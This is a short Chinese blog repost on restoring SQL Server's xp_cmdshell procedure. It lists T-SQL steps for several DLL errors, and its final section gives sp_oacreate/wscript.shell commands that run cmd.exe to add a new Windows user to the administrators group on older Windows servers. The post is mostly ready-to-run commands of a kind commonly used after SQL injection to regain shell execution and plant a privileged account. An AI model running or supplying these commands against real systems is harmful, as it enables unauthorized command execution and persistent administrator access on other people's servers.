恢复执行xp_cmdshell

常见情况恢复执行xp_cmdshell.
  1 未能找到存储过程'master..xpcmdshell'.
  恢复方法:查询分离器连接后,
  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  然后按F5键命令执行完毕
  2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
  恢复方法:查询分离器连接后,
  第一步执行:sp_dropextendedproc "xp_cmdshell"
  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  然后按F5键命令执行完毕
  3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
  恢复方法:查询分离器连接后,
  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
  然后按F5键命令执行完毕
  四.终极方法.
  如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
  查询分离器连接后,
  2000servser系统:
  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
  xp或2003server系统:
  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' 


文章来自: 网络
引用通告地址: http://www.cn-sohu.com/bolg/trackback.asp?tbID=194
Tags:
评论: 0 | 引用: 122 | 查看次数: 328
发表评论
你没有权限发表留言!
分享到: